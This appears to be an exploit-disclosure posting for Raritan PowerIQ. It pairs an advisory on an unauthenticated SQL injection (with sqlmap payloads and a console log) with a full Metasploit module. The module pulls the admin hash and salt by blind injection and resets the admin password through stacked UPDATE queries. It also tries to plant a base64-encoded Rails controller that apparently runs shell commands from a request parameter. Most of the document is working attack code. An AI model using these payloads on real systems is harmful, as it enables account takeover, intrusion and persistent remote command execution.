1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 431 432 433 434 435 436 437 438 439 440 441 442 443 444 445 446 447 448 449 450 451 452 453 454 455 456 457 458 459 460 461 462 463 464 465 466 467 468 469 470 471 472 473 474 475 476 477 478 479 480 481 482 483 484 485 486 487 488 489 490 491 492 493 494 495 496 497 498 499 500 501 502 503 504 505 506 507 508 509 510 511 512 513 514 515 516 517 518 519 520 521 522 523 524 525 526 527 528 529 530 531 532 533 534 535 536 537 538 539 540 541 542 543 544 545 546 547 548 549 550 551 552 553 554 555 556 557 558 559 560 561 562 563 564 565 566 567 568 569 570 571 572 573 |
=begin Raritan PowerIQ suffers from an unauthenticated SQL injection vulnerability within an endpoint used during initial configuration of the licensing for the product. This endpoint is still available after the appliance has been fully configured. POST /license/records HTTP/1.1 Host: 192.168.1.11 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:26.0) Gecko/20100101 Firefox/26.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate X-Requested-With: XMLHttpRequest Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Referer: https://192.168.1.11/license Content-Length: 15 Connection: keep-alive Pragma: no-cache Cache-Control: no-cache sort=id&dir=ASC Both the 'sort' and 'dir' parameters are vulnerable. sqlmap identified the following injection points with a total of 1173 HTTP(s) requests: --- Place: POST Parameter: sort Type: boolean-based blind Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses Payload: sort=id,(SELECT (CASE WHEN (6357=6357) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC Type: stacked queries Title: PostgreSQL > 8.1 stacked queries Payload: sort=id; SELECT PG_SLEEP(5)--&dir=ASC Type: AND/OR time-based blind Title: PostgreSQL > 8.1 time-based blind - Parameter replace Payload: sort=(SELECT 5480 FROM PG_SLEEP(5))&dir=ASC Place: POST Parameter: dir Type: boolean-based blind Title: Generic boolean-based blind - GROUP BY and ORDER BY clauses Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (5274=5274) THEN 1 ELSE 1/(SELECT 0) END)) Type: stacked queries Title: PostgreSQL > 8.1 stacked queries Payload: sort=id&dir=ASC; SELECT PG_SLEEP(5)-- Type: AND/OR time-based blind Title: PostgreSQL > 8.1 time-based blind - GROUP BY and ORDER BY clauses Payload: sort=id&dir=ASC,(SELECT (CASE WHEN (1501=1501) THEN (SELECT 1501 FROM PG_SLEEP(5)) ELSE 1/(SELECT 0) END)) --- There may also be a remote command execution vulnerability available to administrators (or you if you use the stacked injection to update the hashes). When saving an NTP server, you can inject a newline (%0a) into the request in order to save a malformed 'server' stanza in the ntp.conf. When syncing with NTP, the application passes the first NTP server to the NTP utility via bash. I was not able to make my malformed NTP server available as the first in the list, thus was not able to achieve RCE. There may be a way to do it though that I am unaware of. Attached is a Metasploit module that I began writing when attempting to achieve RCE but was never able to. This module will A) Pull out the current password hash and salt for the 'admin' user and cache them. B) Update the admin creeds to be 'admin:Passw0rd!' C) Set up the malformed NTP server D) Attempt to sync with NTP. Because I was not able to achieve RCE via that vector, this module does not actually pop a shell, so I am sorry about that. Maybe some PostgreSQL UDF fanciness will be the key. You may also find the module available here: https://gist.github.com/brandonprry/01bcd9ec7b8a78ccfc42 Quick module run: bperry@w00den-pickle:~/tools/msf_dev$ ./msfconsole __ / \/\ __ _ __/_/ __ | |\/ | _____ \ \ ___ _____ | | /\ _ \ \ | | \/| | | ___\ |- -| /\/ __\ | -__/ | || | || | |- -| |_| | | | _|__| |_/ -\ __\ \ | || | \__/| || |_ |/|____/\___\/ /\ \\___/ \/ \__||_\\___\ =[ metasploit v4.9.0-dev [core:4.9 api:1.0] ] + -- --=[ 1292 exploits - 702 auxiliary - 202 post ] + -- --=[ 332 payloads - 33 encoders - 8 nops] msf > use exploit/linux/http/raritan_poweriq_sqli msf exploit(raritan_poweriq_sqli) > set RHOST 192.168.1.25 RHOST => 192.168.1.25 msf exploit(raritan_poweriq_sqli) > check [*] Attempting to get banner... This could take several minutes to fingerprint depending on network speed. [*] Looks like the length of the banner is: 107 [+] Looks like you are vulnerable. [+] 192.168.1.25:443 - The target is vulnerable. msf exploit(raritan_poweriq_sqli) > exploit [*] Started reverse handler on 192.168.1.31:4444 [*] Checking if vulnerable before attempting exploit. [*] Attempting to get banner... This could take several minutes to fingerprint depending on network speed. [*] Looks like the length of the banner is: 107 [+] Looks like you are vulnerable. [*] We are vulnerable. Exploiting. [*] Caching current admin user's password hash and salt. [*] I can set it back later and they will be none the wiser [*] Grabbing current hash [*] Old hash: 84c420e40496930e27301b10930e5966638e0b21 [*] Grabbing current salt [*] Old salt: 8f3cceddf302b3e2465d6e856e8818c6217d4d04 [*] Resetting admin user credentials to admin:Passw0rd! [*] Authenticating with admin:Passw0rd! [*] Setting some stuff up [*] Sending stager [*] Triggering stager [*] Exploit completed, but no session was created. msf exploit(raritan_poweriq_sqli) > -- http://volatile-minds.blogspot.com -- blog http://www.volatileminds.net -- website =end ## # This module requires Metasploit: http//metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Raritan PowerIQ Unauthenticated SQL Injection", 'Description'=> %q{ This module will exploit an unauthenticated SQL injection in order to gain a shell on the remote victim. This was tested against PowerIQ v4.1.0. The 'check' command will attempt to pull the banner of the DBMS (PGSQL) in order to verify exploitability via boolean injections. In order to gain remote command execution, multiple vulnerabilities are used. I use a SQL injection to gain administrative access. I use a newline injection to save an NTP server I shouldn't be able to save. By saving this unsanitized NTP server, I can execute commands as 'nginx' with a request to the server's web application. You can find a trial ISO at the following link. CentOS-based with PGSQL. This is what this module was tested against. http://cdn.raritan.com/download/power-iq/v4.1.0/power-iq-v4.1.0.73.iso Trial license: http://d3b2us605ptvk2.cloudfront.net/download/power-iq/RAR_PWIQ5FL_W7rYAAT_13JAN10_1206.lic If for some reason these links do not work, I "registered" for the trial here: https://www1.raritan.com/poweriqdownload.html }, 'License'=> MSF_LICENSE, 'Author' => [ ], 'References' => [ ], 'DefaultOptions'=> { 'SSL'=> true, }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, 'Payload'=> { 'BadChars'=> "\x20", 'Compat'=> { 'RequiredCmd' => 'generic perl python', } }, 'Targets'=> [ ['Raritan PowerIQ v4.1.0', {}] ], 'Privileged' => false, 'DisclosureDate' => "", 'DefaultTarget'=> 0)) register_options( [ Opt::RPORT(443), OptString.new('TARGETURI', [true, 'The URI of the vulnerable instance', '/']) ], self.class) end #In order to check for exploitability, I will enumerate the banner #of the DBMS until I have it match a regular expression of /postgresql/i # #This isn't optimal (takes a few minutes), but it is reliable. I use #a boolean injection to enumerate the banner a byte at a time. def check #First we make a request that we know should return a 200 res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'data' => 'sort=id&dir=ASC' }) if !res or res.code != 200 return Exploit::CheckCode::Safe end #Now we make a request that we know should return a 500 res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'data' => "sort=id'&dir=ASC" }) if !res or res.code != 500 print_error("Probably not vulnerable.") return Exploit::CheckCode::Safe end #If we have made it this far, we believe we are exploitable, #but now we must prove it. Get the length of the banner before #attempting to enumerate the banner. I assume the length #is not greater than 999 characters. print_status("Attempting to get banner... This could take several minutes to fingerprint depending on network speed.") length = '' (1..3).each do |l| (47..57).each do |i| str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(LENGTH(VERSION()) AS CHARACTER(10000)),(CHR(32))))::text FROM #{l} FOR 1))>#{i}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'data' => str }) if res and res.code == 500 length << i.chr break end end end if length == '' return Exploit::CheckCode::Safe end print_status("Looks like the length of the banner is: " + length) #We have the length, now let's get the banner until it matches #the regular expression /postgresql/i banner = '' (1..length.to_i).each do |c| (32..126).each do |b| str = "sort=id,(SELECT (CASE WHEN (ASCII(SUBSTRING((COALESCE(CAST(VERSION() AS CHARACTER(10000)),(CHR(32))))::text FROM #{c} FOR 1))>#{b}) THEN 1 ELSE 1/(SELECT 0) END))&dir=ASC" res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest', }, 'data' => str }) if res and res.code == 500 banner << b.chr if c%10 == 0 vprint_status("#{((c.to_f/length.to_f)*100).to_s}% done: " + banner) end if banner =~ /postgresql/i print_good("Looks like you are vulnerable.") vprint_good("Current banner: " + banner) return Exploit::CheckCode::Vulnerable end break end end end #If we reach here, we never matched our regex, which means we must #not be vulnerable. return Exploit::CheckCode::Safe end def exploit print_status("Checking if vulnerable before attempting exploit.") if check == Exploit::CheckCode::Vulnerable print_status("We are vulnerable. Exploiting.") print_status("Caching current admin user's password hash and salt.") print_status("I can set it back later and they will be none the wiser") print_status("Grabbing current hash") old_crypted_password = get_admin_column_value("crypted_password") print_status("Old hash: " + old_crypted_password) print_status("Grabbing current salt") old_salt = get_admin_column_value("salt") print_status("Old salt: " + old_salt) print_status("Resetting admin user credentials to admin:Passw0rd!") headers = { 'X-Requested-With' => 'XMLHttpRequest' } salt_inj = ';UPDATE users set salt = (CHR(56)||CHR(102)||CHR(51)||CHR(99)||CHR(99)||CHR(101)||CHR(100)||CHR(100)||CHR(102)||CHR(51)||CHR(48)||CHR(50)||CHR(98)||CHR(51)||CHR(101)||CHR(50)||CHR(52)||CHR(54)||CHR(53)||CHR(100)||CHR(54)||CHR(101)||CHR(56)||CHR(53)||CHR(54)||CHR(101)||CHR(56)||CHR(56)||CHR(49)||CHR(56)||CHR(99)||CHR(54)||CHR(50)||CHR(49)||CHR(55)||CHR(100)||CHR(52)||CHR(100)||CHR(48)||CHR(52)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--' hash_inj = ';UPDATE users set crypted_password=(CHR(56)||CHR(52)||CHR(99)||CHR(52)||CHR(50)||CHR(48)||CHR(101)||CHR(52)||CHR(48)||CHR(52)||CHR(57)||CHR(54)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(50)||CHR(55)||CHR(51)||CHR(48)||CHR(49)||CHR(98)||CHR(49)||CHR(48)||CHR(57)||CHR(51)||CHR(48)||CHR(101)||CHR(53)||CHR(57)||CHR(54)||CHR(54)||CHR(54)||CHR(51)||CHR(56)||CHR(101)||CHR(48)||CHR(98)||CHR(50)||CHR(49)) WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110))--' post = { 'sort' => 'id' + salt_inj, 'dir' => 'ASC' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => headers, 'vars_post' => post }) if !res or res.code != 200 fail_with("Server did not respond in an expected way") end post['sort'] = 'id' + hash_inj res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => headers, 'vars_post' => post }) if !res or res.code != 200 fail_with("Server did not respond in an expected way") end print_status("Authenticating with admin:Passw0rd!") post = { 'login' => 'admin', 'password' => 'Passw0rd!' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'login', 'login'), 'method' => 'POST', 'vars_post' => post }) if !res or res.code != 302 fail_with("Authentication failed.") end cookie = res.get_cookies print_status("Setting some stuff up") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers.json'), 'headers' => headers, 'cookie' => cookie }) if !res or res.code != 200 fail_with("Server did not respond in an expected way.") end servers = JSON.parse(res.body) post = { '_method' => '_delete', 'hosts' => servers["servers"].to_json } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers', 'destroy_batch'), 'method' => 'DELETE', 'vars_post' => post, 'headers' => headers, 'cookie' => cookie }) if !res or res.code != 200 fail_with("Server did not respond in an expected way.") end print_status("Sending stager") stage = '<code>echo${IFS}Ye2xhc3MgRmRzYUNvbnRyb2xsZXIgPCBBY3Rpb25Db250cm9sbGVyOjpCYXNlCiAgZGVmIGluZGV4' stage << 'CiAgICByZXQgPSBgI3twYXJhbXNbOmNtZF19YAogICAgcmVkaXJlY3RfdG8gcmV0CiAgZW5kCmVu' stage << 'ZCAKIAoK|base64${IFS}--decode>/opt/raritan/polaris/rails/main/app/controllers/rewq_controller.rb</code>' post = { 'host[server]' => "www.abc.com\x0aserver " + stage, 'host[ip_type]' => '0' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers'), 'method' => 'POST', 'vars_post' => post, 'headers' => headers, 'cookie' => cookie }) if !res or res.code != 200 or res.body =~ /false/ fail_with("Server did not respond in an expected way.") end post = { '_method' => '_delete', 'hosts' => '[{"server":"www.abc.com", "ip_type":0}]' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_servers', 'destroy_batch'), 'method' => 'DELETE', 'vars_post' => post, 'headers' => headers, 'cookie' => cookie }) if !res or res.code != 200 fail_with("Server did not respond in an expected way.") end res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'application_settings', 'edit'), 'cookie' => cookie }) if !res or res.code != 200 fail_with("Server did not respond in an expected way.") end res.body =~ /boxLabel: "Enable NTP",\nchecked: (true|false),\nlisteners/m checked = $1 if checked == "true" post = { '_method' => 'put', 'rails_options[time_zone]' => 'UTC', 'date_time' => '', 'rails_options[ntp_enabled]' => 'off' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_setting'), 'vars_post' => post, 'method' => 'POST', 'cookie' => cookie }) if !res or res.code != 302 fail_with("Server did not respond in an expected way") end end post = { '_method' => 'put', 'rails_options[time_zone]' => 'UTC', 'date_time' => '', 'rails_options[ntp_enabled]' => 'on' } print_status("Triggering stager") res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'admin', 'time_setting'), 'method' => 'POST', 'vars_post' => post, 'cookie' => cookie, }) end end def get_admin_column_value(column) ret = '' (1..40).each do |i| [*('0'..'9'),*('a'..'f')].each do |c| inj = "(SELECT (CASE WHEN (ASCII(SUBSTRING((SELECT COALESCE(CAST(#{column} AS CHARACTER(10000)),(CHR(32))) FROM users WHERE login = (CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)) OFFSET 0 LIMIT 1)::text FROM #{i} FOR 1))>#{c.ord}) THEN 1 ELSE 1/(SELECT 0) END))" post = { 'sort' => 'id,' + inj, 'dir' => 'ASC' } res = send_request_cgi({ 'uri' => normalize_uri(target_uri.path, 'license', 'records'), 'method' => 'POST', 'headers' => { 'X-Requested-With' => 'XMLHttpRequest' }, 'vars_post' => post }) if !res fail_with("Server did not respond in an expected way") end if res.code == 500 vprint_status("Got character '"+c+"' for index " + i.to_s) ret << c break end end end return ret end end |